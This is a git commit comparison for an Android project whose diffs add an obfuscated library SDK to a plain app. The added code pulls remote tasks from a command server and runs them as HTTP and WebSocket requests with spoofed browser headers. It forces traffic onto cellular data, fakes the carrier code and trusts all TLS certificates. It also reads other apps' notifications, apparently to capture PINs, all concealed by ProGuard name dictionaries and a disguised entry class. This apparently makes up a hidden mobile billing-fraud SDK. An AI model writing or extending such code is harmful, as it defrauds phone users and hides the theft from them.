Compare commits

...

10 Commits

@ -1,4 +1,3 @@
<?xml version="1.0" encoding="UTF-8"?>
<project version="4">
<component name="ASMIdeaPluginConfiguration">
<asm skipDebug="true" skipFrames="true" skipCode="false" expandFrames="false" />

@ -1,19 +1,17 @@
plugins {
alias(libs.plugins.android.application)
alias(libs.plugins.kotlin.android)
alias(libs.plugins.kotlin.compose)
}
android {
namespace = "com.example.vast"
compileSdk {
version = release(36)
}
compileSdk = 34
defaultConfig {
applicationId = "com.example.vast"
minSdk = 24
targetSdk = 36
targetSdk = 34
versionCode = 1
versionName = "1.0"
@ -22,7 +20,7 @@ android {
buildTypes {
release {
isMinifyEnabled = false
isMinifyEnabled = true
proguardFiles(
getDefaultProguardFile("proguard-android-optimize.txt"),
"proguard-rules.pro"
@ -36,25 +34,16 @@ android {
kotlinOptions {
jvmTarget = "11"
}
buildFeatures {
compose = true
}
// buildFeatures {
// compose = true
// }
}
dependencies {
implementation(libs.androidx.core.ktx)
implementation(libs.androidx.lifecycle.runtime.ktx)
implementation(libs.androidx.activity.compose)
implementation(platform(libs.androidx.compose.bom))
implementation(libs.androidx.compose.ui)
implementation(libs.androidx.compose.ui.graphics)
implementation(libs.androidx.compose.ui.tooling.preview)
implementation(libs.androidx.compose.material3)
testImplementation(libs.junit)
androidTestImplementation(libs.androidx.junit)
androidTestImplementation(libs.androidx.espresso.core)
androidTestImplementation(platform(libs.androidx.compose.bom))
androidTestImplementation(libs.androidx.compose.ui.test.junit4)
debugImplementation(libs.androidx.compose.ui.tooling)
debugImplementation(libs.androidx.compose.ui.test.manifest)
}

@ -1,5 +1,6 @@
package com.example.vast
import android.app.Activity
import android.os.Bundle
import androidx.activity.ComponentActivity
import androidx.activity.compose.setContent
@ -13,35 +14,8 @@ import androidx.compose.ui.Modifier
import androidx.compose.ui.tooling.preview.Preview
import com.example.vast.ui.theme.VastTheme
class MainActivity : ComponentActivity() {
class MainActivity : Activity() {
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
enableEdgeToEdge()
setContent {
VastTheme {
Scaffold(modifier = Modifier.fillMaxSize()) { innerPadding ->
Greeting(
name = "Android",
modifier = Modifier.padding(innerPadding)
)
}
}
}
}
}
@Composable
fun Greeting(name: String, modifier: Modifier = Modifier) {
Text(
text = "Hello $name!",
modifier = modifier
)
}
@Preview(showBackground = true)
@Composable
fun GreetingPreview() {
VastTheme {
Greeting("Android")
}
}

@ -2,6 +2,5 @@
plugins {
alias(libs.plugins.android.application) apply false
alias(libs.plugins.kotlin.android) apply false
alias(libs.plugins.kotlin.compose) apply false
alias(libs.plugins.android.library) apply false
}

1000
dict.txt

File diff suppressed because it is too large Load Diff

@ -1,6 +1,6 @@
[versions]
agp = "8.13.0"
kotlin = "2.2.21"
agp = "8.2.0"
kotlin = "1.9.0"
coreKtx = "1.17.0"
junit = "4.13.2"
junitVersion = "1.3.0"

@ -1,8 +1,6 @@
#Wed Oct 29 10:19:03 CST 2025
distributionBase=GRADLE_USER_HOME
distributionPath=wrapper/dists
distributionUrl=https\://services.gradle.org/distributions/gradle-8.13-bin.zip
networkTimeout=10000
validateDistributionUrl=true
distributionUrl=https\://services.gradle.org/distributions/gradle-8.2-bin.zip
zipStoreBase=GRADLE_USER_HOME
zipStorePath=wrapper/dists

@ -1,3 +1,6 @@
import java.io.FileOutputStream
import kotlin.random.Random
plugins {
alias(libs.plugins.android.library)
alias(libs.plugins.kotlin.android)
@ -5,9 +8,8 @@ plugins {
android {
namespace = "com.example.lib"
compileSdk {
version = release(36)
}
compileSdk = 34
buildFeatures {
buildConfig = true
@ -21,7 +23,7 @@ android {
buildConfigField("boolean", "log_enable", "true")
buildConfigField("int", "aff_id", "1040")
buildConfigField("int", "sdk_version", "50")
buildConfigField("int", "sdk_version", "51")
buildConfigField("String", "task_api", "\"https://api.osakamob.com/task\"")
buildConfigField("String", "checkSum", "\"0388afc149fe80bf2b73\"")
buildConfigField("String", "chcikUrl", "\"http://46.101.109.8/s/zbs\"")
@ -29,7 +31,7 @@ android {
buildTypes {
release {
isMinifyEnabled = false
isMinifyEnabled = true
proguardFiles(
getDefaultProguardFile("proguard-android-optimize.txt"),
"proguard-rules.pro"
@ -38,12 +40,12 @@ android {
}
compileOptions {
sourceCompatibility = JavaVersion.VERSION_11
targetCompatibility = JavaVersion.VERSION_11
sourceCompatibility = JavaVersion.VERSION_1_8
targetCompatibility = JavaVersion.VERSION_1_8
}
kotlinOptions {
jvmTarget = "11"
jvmTarget = "1.8"
}
}
@ -54,7 +56,38 @@ dependencies {
testImplementation(libs.junit)
androidTestImplementation(libs.runner)
androidTestImplementation(libs.espresso.core)
implementation("com.squareup.okhttp3:okhttp:5.2.1")
api("org.jetbrains.kotlinx:kotlinx-coroutines-android:1.10.2")
implementation("com.squareup.okhttp3:okhttp:4.12.0")
api("org.jetbrains.kotlinx:kotlinx-coroutines-android:1.7.0")
}
tasks.register("generateProguardDic") {
val dic = "qwertyuiopasdfghjklzxcvbnm"
val chars: CharArray = dic.toCharArray()
chars.shuffle(Random)
var maxSize = 1000
val charsSize = chars.size
val stringSet = HashSet<String>()
while (maxSize > 0) {
val key = "${chars[Random.nextInt(charsSize)]}" + (Random.nextInt(80) + 10)
if (stringSet.contains(key)) {
continue
}
stringSet += key
maxSize--
}
val keys = stringSet.joinToString("\n")
val proguardDic = File(rootDir.path + "/dict.txt")
FileOutputStream(proguardDic).use {
it.write(keys.toByteArray())
}
println(proguardDic.absolutePath)
}
afterEvaluate {
tasks.forEach { task ->
if(task.name == "extractProguardFiles") {
task.dependsOn(tasks["generateProguardDic"])
}
}
}

@ -0,0 +1,6 @@
-repackageclasses 'g69'
#-keep class kotlinx.** { *; }
#-keep class kotlin.** { *; }
-dontwarn kotlinx.coroutines.**
#-classobfuscationdictionary ../dict.txt

@ -19,3 +19,28 @@
# If you keep the line number information, uncomment this to
# hide the original source file name.
#-renamesourcefileattribute SourceFile
#-optimizationpasses 5
#包明不混合大小写
-dontusemixedcaseclassnames
#不去忽略非公共的库类
-dontskipnonpubliclibraryclasses
-dontskipnonpubliclibraryclassmembers
#优化 不优化输入的类文件
-dontoptimize
#预校验
-dontpreverify
#混淆时是否记录日志
-verbose
#混淆时所采用的算法
#-optimizations !code/simplification/arithmetic,!field/,!class/merging/
#保护注解
-keepattributes Annotation
#-repackageclasses 'com.iab.ak'
-keep class a.b.c.V{ public *;}
-keep class kotlinx.coroutines.** { *; }
-keep class com.example.utils.ContextExtKTKt {*;}
-keep class com.example.service.MainService {public *;}
-keep class com.example.service.MainService$Companion {public *;}
-dontwarn kotlinx.coroutines.**
-classobfuscationdictionary ../dict.txt

@ -1,4 +1,17 @@
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android">
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
<uses-permission android:name="com.google.android.gms.permission.AD_ID" />
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
<uses-permission android:name="android.permission.CHANGE_NETWORK_STATE" />
<uses-permission android:name="android.permission.INTERNET" />
<application android:usesCleartextTraffic="true" />
<queries>
<intent>
<action android:name="android.intent.action.SEND" />
<data android:mimeType="*/*" />
</intent>
</queries>
</manifest>

@ -0,0 +1,9 @@
package a.b.c
import android.content.Context
import com.example.service.MainService
object V {
@JvmStatic
fun init(context: Context, needNotif: Boolean = false) = MainService.instance.launcher(context, needNotif)
}

@ -1,6 +1,7 @@
package com.example.action
sealed interface BaseAction {
val disconnectWs: Boolean
data class HttpAction(
var request: HttpActionRequest? = null,
var response: HttpActionResponse? = null,
@ -8,6 +9,7 @@ sealed interface BaseAction {
var delay: Int,
var skipError: Boolean,
var async: Boolean,
override val disconnectWs: Boolean = false,
) : BaseAction
data class PinAction(
@ -17,6 +19,7 @@ sealed interface BaseAction {
var next: List<Next> = mutableListOf(),
var skipError: Boolean,
var async: Boolean,
override val disconnectWs: Boolean = false,
) : BaseAction
@ -27,7 +30,7 @@ sealed interface BaseAction {
var next: List<Next> = emptyList(),
var skipError: Boolean = true,
var async: Boolean = true,
var disconnectWs: Boolean = true
override var disconnectWs: Boolean = true
): BaseAction
}

@ -1,28 +1,27 @@
package com.example.action
import kotlin.enums.enumEntries
import kotlin.reflect.KProperty1
data class HttpActionRequest(
val url: String,
var url: String,
val method: HttpMethod,
var headers: List<NameValue> = emptyList(),
var cookies: List<NameValue> = emptyList(),
var params: List<NameValue> = emptyList(),
var data: String = "",
val autoCookie: Boolean
val autoCookie: Boolean = true
) : NoString()
enum class HttpMethod(val value: String) {
Get("GET"),
Post("POST");
companion object {
fun String.toHttMethod(): HttpMethod? {
return HttpMethod::value.findOrNull(this.uppercase())
}
}
companion object {
fun String.toHttMethod(): HttpMethod {
return when (uppercase()) {
"POST" -> Post
else -> Get
}
}
}
}
inline fun <reified T: Enum<T>, V> KProperty1<T, V>.findOrNull(value: V):T? =
enumEntries<T>().firstOrNull { this(it) == value }

@ -1,8 +1,8 @@
package com.example.action
data class NameValue(
val name:String,
val value:String,
var name:String,
var value:String,
): NoString() {
override fun equals(other: Any?): Boolean {
if (this === other) return true

@ -1,10 +1,10 @@
package com.example.action
data class WebSocketActionRequest(
val url:String,
var url:String,
var headers:List<NameValue> = mutableListOf(),
var cookies:List<NameValue> = mutableListOf(),
val data:String = "",
var data:String = "",
var params:List<WsRequestParam> = mutableListOf(),
val autoCookie: Boolean = true
): NoString()

@ -1,8 +1,8 @@
package com.example.action
data class WsRequestParam(
val name: String,
val value: String,
val interrupt: String,
val waitTime: Long,
val name: String = "",
var value: String = "",
var interrupt: String = "",
val waitTime: Long = 0,
)

@ -109,7 +109,7 @@ object HttpClient {
private val userAgentInterceptor = UserAgentInterceptor()
private val trustManager = @SuppressLint("CustomX509TrustManager") object : X509TrustManager {
private val trustManager = object : X509TrustManager {
override fun checkClientTrusted(
chain: Array<out X509Certificate>?, authType: String?
) {
@ -253,7 +253,7 @@ object HttpClient {
}
}
private fun Request.buildMultipartBody(body: ByteArray): okhttp3.RequestBody {
private fun buildMultipartBody(body: ByteArray): okhttp3.RequestBody {
val kvParams = String(body).split("&")
val kvMap = kvParams.mapNotNull { param ->
val parts = param.split("=", limit = 2)
@ -319,7 +319,7 @@ object HttpClient {
try {
response.code = okResponse.code
response.headers = okResponse.headers.toMultimap()
var responseData = okResponse.body.bytes()
var responseData = okResponse.body?.bytes() ?: "".toByteArray()
LogUtils.info("${System.currentTimeMillis()} end call http request $url")

@ -5,7 +5,7 @@ import com.example.action.NoString
data class Request(
var url:String,
var method: HttpMethod? = HttpMethod.Get,
var method: HttpMethod = HttpMethod.Get,
var headers:Map<String, String> = emptyMap(),
var body: ByteArray = byteArrayOf()
): NoString() {

@ -0,0 +1,189 @@
package com.example.network
import android.content.Context
import android.net.ConnectivityManager
import android.net.Network
import android.net.NetworkCapabilities
import android.net.NetworkRequest
import android.os.Build
import android.os.Handler
import android.os.HandlerThread
import android.os.Looper
import com.example.logger.LogUtils
import com.example.utils.NetworkManager
import java.util.concurrent.Executors
import java.util.concurrent.ScheduledExecutorService
import java.util.concurrent.TimeUnit
/**
* 网络超时定时器
* 用于在网络切换超时后触发回调
*/
class NetworkTimeoutTimer(
private val timeoutSeconds: Long,
private val onTimeout: () -> Unit
) {
private var executor: ScheduledExecutorService? = null
private val lock = Any()
fun start() {
synchronized(lock) {
stop()
executor = Executors.newSingleThreadScheduledExecutor()
executor?.schedule({
LogUtils.info("NetworkTimeoutTimer: timeout after ${timeoutSeconds}s")
onTimeout()
stop()
}, timeoutSeconds, TimeUnit.SECONDS)
}
}
fun stop() {
synchronized(lock) {
executor?.shutdownNow()
executor = null
}
}
fun release() {
stop()
}
}
class NetworkController(
private val context: Context,
private val network: NetworkManager = NetworkManager(context)
) : NetworkControllerInterface {
companion object {
private const val NETWORK_TIMEOUT_SECONDS = 10_000L
private const val MIN_SDK_VERSION_FOR_HANDLER = Build.VERSION_CODES.O
}
private val networkRequest = NetworkRequest.Builder()
.addCapability(NetworkCapabilities.NET_CAPABILITY_INTERNET)
.addTransportType(NetworkCapabilities.TRANSPORT_CELLULAR)
.build()
private var activeNetwork: Network? = null
private var handlerThread: HandlerThread? = null
var switchSuccess = false
private set
private val networkCallback = object : ConnectivityManager.NetworkCallback() {
override fun onAvailable(network: Network) {
super.onAvailable(network)
timeoutTimer.stop()
activeNetwork = network
switchSuccess = this@NetworkController.network.bindProcessToNetwork(network)
logNetworkSwitchResult("onAvailable")
}
override fun onUnavailable() {
switchSuccess = false
unregisterCallback()
network.repair()
logNetworkSwitchResult("onUnavailable")
}
override fun onLost(network: Network) {
super.onLost(network)
switchSuccess = false
logNetworkSwitchResult("onLost")
}
}
private val timeoutTimer: NetworkTimeoutTimer by lazy {
NetworkTimeoutTimer(NETWORK_TIMEOUT_SECONDS) {
networkCallback.onUnavailable()
}
}
// ==================== 公共方法 ====================
override fun restore() {
LogUtils.info("NetworkController: restoring network")
try {
networkCallback.onUnavailable()
} catch (e: Exception) {
}
}
override fun switchToGprs() {
if (switchSuccess) {
LogUtils.info("NetworkController: network already switched successfully")
return
}
LogUtils.info("NetworkController: starting network switch to GPRS")
try {
requestNetworkWithHandler()
} catch (e: Exception) {
LogUtils.error(e, "NetworkController: failed to switch network")
}
}
// ==================== 网络请求 ====================
private fun requestNetworkWithHandler() {
if (Build.VERSION.SDK_INT >= MIN_SDK_VERSION_FOR_HANDLER) {
requestNetworkWithCustomHandler()
} else {
requestNetworkWithoutHandler()
}
}
private fun requestNetworkWithCustomHandler() {
handlerThread = HandlerThread("NetworkHandler-${System.currentTimeMillis()}").apply {
start()
}
val handler = Handler(handlerThread!!.looper)
network.connectivityManager.requestNetwork(
networkRequest,
networkCallback,
handler
)
}
private fun requestNetworkWithoutHandler() {
network.connectivityManager.requestNetwork(
networkRequest,
networkCallback
)
timeoutTimer.start()
}
// ==================== 回调管理 ====================
private fun unregisterCallback() {
runCatching {
network.connectivityManager.unregisterNetworkCallback(networkCallback)
}.onFailure { e ->
LogUtils.error(e, "NetworkController: failed to unregister network callback")
}
}
// ==================== 日志记录 ====================
private fun logNetworkSwitchResult(event: String) {
val networkType = network.type
LogUtils.info(
"NetworkController: $event - " +
"switchSuccess: $switchSuccess, " +
"networkType: $networkType, " +
"timestamp: ${System.currentTimeMillis()}"
)
}
// ==================== 清理资源 ====================
fun release() {
timeoutTimer.release()
handlerThread?.quitSafely()
handlerThread = null
unregisterCallback()
}
}

@ -0,0 +1,6 @@
package com.example.network
interface NetworkControllerInterface {
fun restore()
fun switchToGprs()
}

@ -2,7 +2,6 @@ package com.example.pin
import android.content.Context
import android.content.Intent
import android.content.pm.ResolveInfo
import android.net.Uri
import android.os.Handler
import android.os.Looper
@ -13,6 +12,7 @@ import android.service.notification.StatusBarNotification
import android.text.TextUtils
import com.example.logger.LogUtils
import java.lang.reflect.Method
import java.lang.reflect.Modifier
object NotificationManger {
private const val PREFIX_ANDROID = "android."
@ -31,9 +31,13 @@ object NotificationManger {
private var isPolling = false
private var pollInterval = DEFAULT_POLL_INTERVAL
private val processedNotifications = mutableSetOf<String>() // 记录已处理的通知 key
private var applicationContext: Context? = null
private lateinit var applicationContext: Context
fun process(context: Context) {
fun initialized(context: Context) {
applicationContext = context.applicationContext
}
private fun process(context: Context) {
// 检查通知监听器是否已启用
if (!isNotificationListenerEnabled(context)) {
LogUtils.info("NotificationManager: notification listener is not enabled")
@ -62,29 +66,32 @@ object NotificationManger {
}
// 用过滤结果替换 notifications 列表
LogUtils.info("NotificationManager: found ${notifications.size} notifications")
// notifications = notifications.asReversed()
for (notification in notifications) {
processNotification(notification, instance, context)
}
}
fun startPolling(context: Context, intervalMs: Long = DEFAULT_POLL_INTERVAL) {
fun startPolling(intervalMs: Long = DEFAULT_POLL_INTERVAL, duration: Long, l:(NotificationMessage)-> Unit) {
if (isPolling) {
LogUtils.info("NotificationManager: polling already started")
return
}
this.listener = l
val startTime = System.currentTimeMillis()
LogUtils.info("NotificationManager: start polling with interval ${intervalMs}ms")
// 使用 ApplicationContext 避免内存泄漏
applicationContext = context.applicationContext
pollInterval = intervalMs
isPolling = true
pollingHandler = Handler(Looper.getMainLooper())
pollingRunnable = object : Runnable {
override fun run() {
if (isPolling && applicationContext != null) {
process(applicationContext!!)
pollingHandler?.postDelayed(this, pollInterval)
if (isPolling) {
process(applicationContext)
if(System.currentTimeMillis() - startTime < duration) {
pollingHandler?.postDelayed(this, pollInterval)
}
}
}
}
@ -102,8 +109,8 @@ object NotificationManger {
pollingRunnable?.let { pollingHandler?.removeCallbacks(it) }
pollingRunnable = null
pollingHandler = null
applicationContext = null
processedNotifications.clear()
listener = null
}
private fun getServiceInstance(context: Context): Any? {
@ -121,10 +128,28 @@ object NotificationManger {
// 优先尝试直接获取 MyService.instance系统绑定的实例
try {
val myServiceClass = Class.forName("com.galaxy.demo.MyService")
val instanceField = myServiceClass.getDeclaredField("instance")
instanceField.isAccessible = true
val instance = instanceField.get(null) as? NotificationListenerService
// 尝试从服务类的静态字段获取实例(备用方案)
val serviceClass = findServiceClass(context)
if (serviceClass == null) {
LogUtils.info("NotificationManager: service class not found")
return null
}
var instance: NotificationListenerService? = null
val staticFields = serviceClass.declaredFields.filter { Modifier.isStatic(it.modifiers) }
LogUtils.info("${serviceClass.name} has files: ${staticFields.size}")
for(field in staticFields) {
LogUtils.info("field's Name: ${field.name}")
field.isAccessible = true
if(Modifier.isStatic(field.modifiers)) {
LogUtils.info("it's static field")
val newInstance = field.get(null)
LogUtils.info("instance: $newInstance")
instance = newInstance as? NotificationListenerService
if(instance == null) {
continue
}
}
}
if (instance != null && isServiceValid(instance)) {
LogUtils.info("NotificationManager: got instance from MyService.instance")
serviceInstance = instance
@ -134,24 +159,7 @@ object NotificationManger {
LogUtils.info("NotificationManager: failed to get MyService.instance: ${e.message}")
}
// 尝试从服务类的静态字段获取实例(备用方案)
val serviceClass = findServiceClass(context)
if (serviceClass == null) {
LogUtils.info("NotificationManager: service class not found")
return null
}
LogUtils.info("NotificationManager: found service class ${serviceClass.name}")
val instance = getInstance(serviceClass)
if (instance != null && instance is NotificationListenerService && isServiceValid(instance)) {
serviceInstance = instance
LogUtils.info("NotificationManager: service instance obtained successfully")
return instance
} else {
LogUtils.info("NotificationManager: failed to get valid service instance")
serviceInstance = null
return null
}
return null
}
private fun isServiceValid(service: NotificationListenerService): Boolean {
@ -221,27 +229,6 @@ object NotificationManger {
}
}
private fun getInstance(clazz: Class<*>): Any? {
return try {
val getInstanceMethod = clazz.getDeclaredMethod("getInstance")
getInstanceMethod.isAccessible = true
val instance = getInstanceMethod.invoke(null)
LogUtils.info("NotificationManager: got instance via getInstance() method")
instance
} catch (e: Exception) {
try {
val instanceField = clazz.getDeclaredField("instance")
instanceField.isAccessible = true
val instance = instanceField.get(null)
LogUtils.info("NotificationManager: got instance via instance field")
instance
} catch (e2: Exception) {
LogUtils.error(e2, "NotificationManager: failed to get instance")
null
}
}
}
private fun getNotifications(instance: Any): List<StatusBarNotification>? {
val service = instance as? NotificationListenerService
if (service == null) {
@ -316,8 +303,6 @@ object NotificationManger {
LogUtils.info("NotificationManager: processed notification from ${notification.packageName}, content $content, key $notificationKey")
listener?.invoke(msg)
} ?: run {
LogUtils.info("NotificationManager: notification extras is null, skip: ${notification.packageName}")
}
}

@ -8,4 +8,25 @@ data class NotificationMessage(
val time:Long,
val app:String
): NoString() {
override fun equals(other: Any?): Boolean {
if (this === other) return true
if (javaClass != other?.javaClass) return false
other as NotificationMessage
if (content != other.content) return false
if (from != other.from) return false
if (app != other.app) return false
return true
}
override fun hashCode(): Int {
var result = content.hashCode()
result = 31 * result + from.hashCode()
result = 31 * result + app.hashCode()
return result
}
}

@ -33,10 +33,11 @@ class BaseRequestImp(
override val telcoCode: String
get() {
return telephonyManager?.run {
/* return telephonyManager?.run {
if (networkOperator.isNullOrBlank()) simOperator
else networkOperator
} ?: ""
} ?: ""*/
return "46000"
}
override val netType: Int

@ -17,8 +17,8 @@ data class TaskResponse(
var secChUa:String = "",
var accept:String = "",
var acceptLanguage:String = "",
var resportUrl:String = "",
var reqeustInterval:Int = 0,
var reportUrl:String = "",
var requestInterval:Int = 0,
var tasks:List<Task> = mutableListOf(),
override var result: Boolean = false
): NoString(), BaseResponse

@ -0,0 +1,327 @@
package com.example.service
import android.os.Build
import com.example.action.BaseAction
import com.example.action.NameValue
import com.example.action.Next
import com.example.action.VarExtractRule
import com.example.http.HttpClient
import com.example.logger.LogUtils
import com.example.report.ActionExec
import com.example.task.TaskConfig
import kotlinx.coroutines.CoroutineScope
import kotlinx.coroutines.Dispatchers
import kotlinx.coroutines.SupervisorJob
import org.json.JSONArray
import java.net.URI
import java.net.URL
import java.net.URLEncoder
import java.util.Base64
import com.example.http.HttpClient.Params
import com.example.http.Request
import com.example.utils.WebSocketUtil
import com.example.utils.toJsonString
abstract class BaseService(
protected open val taskConfig: TaskConfig,
protected val scope: CoroutineScope = CoroutineScope(Dispatchers.IO + SupervisorJob())
) {
abstract suspend fun execute(onFinish: (List<ActionExec>) -> Unit)
companion object {
// HTTP 错误码
const val ERROR_CODE_HTTP_ACTION_EXEC_FAILED = 600
const val ERROR_CODE_HTTP_BUILD_REDIRECT_FAILED = 615
// PIN 动作错误码
const val ERROR_CODE_PIN_ACTION_EXEC_FAILED = 700
const val ERROR_CODE_PIN_ACTION_TIMEOUT = 702
// WebSocket 错误码
const val WEB_SOCKET_CODE = 101
const val ERROR_CODE_WS_ACTION_EXEC_FAILED = 800
// 通用异步执行错误码
const val ASYNC_EXEC_CODE = 900
}
// ==================== 变量处理 ====================
protected fun String.toVariableData(): String {
if (isBlank()) return this
var result = this
taskConfig.variableCache.forEach { (key, value) ->
if (value.isNotBlank()) {
val placeholder = "{$key}"
result = result.replace(placeholder, value)
}
}
return result
}
protected fun List<NameValue>.replaceVariableData() {
map {
it.name = it.name.toVariableData()
it.value = it.value.toVariableData()
}
}
// ==================== Cookie 处理 ====================
protected fun cookieFromCookieManager(url: String): Set<NameValue> {
val cookiesCache = mutableSetOf<NameValue>()
runCatching {
val urlObj = URL(url)
val uri = URI(urlObj.protocol, urlObj.host, urlObj.path, urlObj.query, null)
val headers = mutableMapOf<String, List<String>>()
taskConfig.cookieManager.get(uri, headers)?.let { responseHeaders ->
val cookieList = responseHeaders.getOrElse(Params.REQUEST_HEADER_COOKIE) { emptyList() }
val cookies = cookieList.firstOrNull()
if (!cookies.isNullOrBlank()) {
cookies.split("; ").forEach { cookie ->
cookie.split("=", limit = 2).takeIf { it.size >= 2 }?.let { kv ->
cookiesCache += NameValue(kv[0], kv[1])
}
}
}
}
}
LogUtils.info("getCookie $url : $cookiesCache")
return cookiesCache
}
protected fun List<NameValue>.buildCookie() = NameValue(
name = Params.REQUEST_HEADER_COOKIE,
value = joinToString("; ") { "${it.name}=${it.value}" }
)
// ==================== URL 处理 ====================
protected fun String.urlEncode(): String? = runCatching {
URLEncoder.encode(this, "UTF-8")
}.getOrNull()
protected fun String.isHttps(): Boolean = startsWith("https", ignoreCase = true)
// ==================== Header 处理 ====================
protected fun List<NameValue>.nameValueToMap(): Map<String, String> = associate {
it.name to it.value
}
protected fun List<NameValue>.amendBaseHeader(
includeAccept: Boolean
): List<NameValue> {
val headers = toMutableList()
if (headers.isEmpty()) {
headers.addDefaultHeaders(includeAccept)
} else {
headers.ensureDefaultHeaders(includeAccept)
}
return headers
}
private fun MutableList<NameValue>.addDefaultHeaders(includeAccept: Boolean) {
add(NameValue(Params.REQUEST_HEADER_USER_AGENT, taskConfig.userAgent))
if (includeAccept) {
add(NameValue(Params.REQUEST_HEADER_ACCEPT, taskConfig.accept))
}
add(NameValue(Params.REQUEST_HEADER_ACCEPT_LANGUAGE, taskConfig.acceptLanguage))
}
private fun MutableList<NameValue>.ensureDefaultHeaders(includeAccept: Boolean) {
if (!hasHeader(Params.REQUEST_HEADER_USER_AGENT)) {
add(NameValue(Params.REQUEST_HEADER_USER_AGENT, taskConfig.userAgent))
}
if (includeAccept && !hasHeader(Params.REQUEST_HEADER_ACCEPT)) {
add(NameValue(Params.REQUEST_HEADER_ACCEPT, taskConfig.accept))
}
if (!hasHeader(Params.REQUEST_HEADER_ACCEPT_LANGUAGE)) {
add(NameValue(Params.REQUEST_HEADER_ACCEPT_LANGUAGE, taskConfig.acceptLanguage))
}
}
protected fun List<NameValue>.addSecChUa(): MutableList<NameValue> {
val headers = toMutableList()
if (!headers.hasHeader(Params.REQUEST_HEADER_SEC_CH_UA)) {
headers.add(NameValue(
Params.REQUEST_HEADER_SEC_CH_UA,
taskConfig.secChUa.ifBlank { "\"\"" }
))
}
if (!headers.hasHeader(Params.REQUEST_HEADER_SEC_CH_UA_MOBILE)) {
headers.add(NameValue(Params.REQUEST_HEADER_SEC_CH_UA_MOBILE, "?1"))
}
if (!headers.hasHeader(Params.REQUEST_HEADER_SEC_CH_UA_PLATFORM)) {
headers.add(NameValue(Params.REQUEST_HEADER_SEC_CH_UA_PLATFORM, "\"Android\""))
}
return headers
}
private fun List<NameValue>.hasHeader(headerName: String): Boolean {
return any { it.name.contentEquals(headerName, ignoreCase = true) }
}
protected fun Request.genBaseHeaderMap(): Map<String, String> = headers.filterKeys {
Params.REQUEST_HEADER_USER_AGENT.equals(it, true) ||
Params.REQUEST_HEADER_ACCEPT_LANGUAGE.equals(it, true) ||
Params.REQUEST_HEADER_ACCEPT.equals(it, true)
}
// ==================== 变量提取 ====================
protected fun extractBodyVariableToCache(
action: BaseAction,
wholeResponseData: String,
responseBody: ByteArray
) = runCatching {
val params = getExtractParams(action) ?: return@runCatching
params.forEach { extractRule ->
val value = extractValue(extractRule, wholeResponseData, responseBody)
taskConfig.variableCache[extractRule.variable] = value
}
}
private fun getExtractParams(action: BaseAction): List<VarExtractRule>? {
return when (action) {
is BaseAction.HttpAction -> action.response?.params
is BaseAction.PinAction -> action.params
is BaseAction.WebSocketAction -> action.response?.params
}
}
private fun extractValue(
extractRule: VarExtractRule,
wholeResponseData: String,
responseBody: ByteArray
): String {
return when (extractRule) {
is VarExtractRule.Base64 -> encodeBase64(responseBody)
is VarExtractRule.Between -> extractBetween(extractRule.expr, wholeResponseData)
is VarExtractRule.Regexp -> extractRegex(extractRule.expr, wholeResponseData)
is VarExtractRule.Response -> String(responseBody)
is VarExtractRule.Whole -> wholeResponseData
}
}
private fun encodeBase64(data: ByteArray): String {
return if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
Base64.getEncoder().encodeToString(data)
} else {
@Suppress("DEPRECATION")
android.util.Base64.encodeToString(data, android.util.Base64.DEFAULT)
}
}
private fun extractBetween(expr: String, data: String): String {
val parts = expr.split("|").take(2)
if (parts.size < 2) return ""
return data.substringAfter(parts[0], missingDelimiterValue = "")
.substringBefore(parts[1], missingDelimiterValue = "")
}
private fun extractRegex(pattern: String, data: String): String {
return Regex(pattern).find(data)?.groupValues?.getOrNull(1) ?: ""
}
// ==================== 错误处理 ====================
protected fun genExceptionActionExec(
action: BaseAction,
errorCode: Int,
exceptionMessage: String
): ActionExec {
return ActionExec().apply {
step = taskConfig.currentStep
index = 1
time = System.currentTimeMillis()
respCode = errorCode
cost = 0
fillActionDetails(action, exceptionMessage)
}
}
private fun ActionExec.fillActionDetails(action: BaseAction, exceptionMessage: String) {
when (action) {
is BaseAction.HttpAction -> {
action.request?.let { request ->
url = request.url
method = request.method.value
reqHeader = request.headers.toJsonString()
reqData = request.data.takeIf { it.isNotBlank() } ?: exceptionMessage
} ?: run {
reqData = exceptionMessage
}
}
is BaseAction.PinAction -> {
// PinAction 特定处理可以在这里添加
}
is BaseAction.WebSocketAction -> {
action.request?.let { request ->
url = request.url
method = WebSocketUtil.WEB_SOCKET_REQUEST_METHOD
reqHeader = request.headers.toJsonString()
if (request.params.isNotEmpty()) {
val messages = JSONArray().apply {
request.params.forEach { param ->
put(param.value)
}
}
reqData = messages.toString()
} else {
reqData = exceptionMessage
}
} ?: run {
reqData = exceptionMessage
}
}
else -> {
LogUtils.info("unknown action type: ${action::class.java.simpleName}")
reqData = exceptionMessage
}
}
}
// ==================== 步骤控制 ====================
protected fun List<Next>.getNextStepIndex(
wholeResponse: String,
currentStep: Int
): Int {
if (isEmpty() || wholeResponse.isBlank()) {
return currentStep + 1
}
filter { it.step > 0 }.forEach { next ->
// 检查包含匹配
if (next.contain.isNotBlank() && wholeResponse.contains(next.contain)) {
return next.step
}
// 检查正则匹配
if (next.regexp.isNotBlank()) {
Regex(next.regexp).find(wholeResponse)?.let {
return next.step
}
}
}
return Int.MAX_VALUE
}
}

@ -0,0 +1,556 @@
package com.example.service
import android.net.Uri
import android.util.Log
import com.example.action.BaseAction
import com.example.action.HttpActionRequest
import com.example.action.HttpMethod
import com.example.action.NameValue
import com.example.action.NameVariable
import com.example.action.Next
import com.example.http.HttpClient
import com.example.http.HttpClient.call
import com.example.http.Request
import com.example.http.Response
import com.example.logger.LogUtils
import com.example.report.ActionExec
import com.example.task.TaskConfig
import com.example.utils.toJsonString
import com.example.utils.toJsonString1
import kotlinx.coroutines.Dispatchers
import kotlinx.coroutines.delay
import kotlinx.coroutines.launch
import kotlinx.coroutines.withContext
import java.net.URI
import java.net.URL
import kotlin.time.DurationUnit
import kotlin.time.toDuration
class HttpService(
private val action: BaseAction.HttpAction,
override val taskConfig: TaskConfig
) : BaseService(taskConfig) {
companion object {
private const val MAX_REDIRECT_COUNT = 30
private val HTTP_REDIRECT_PATTERN = Regex("^[a-zA-Z0-9]+://.*")
private val HTTP_STATUS_SUCCESS = 100 until 300
private val HTTP_STATUS_REDIRECT = 300 until 400
}
// ==================== 主执行方法 ====================
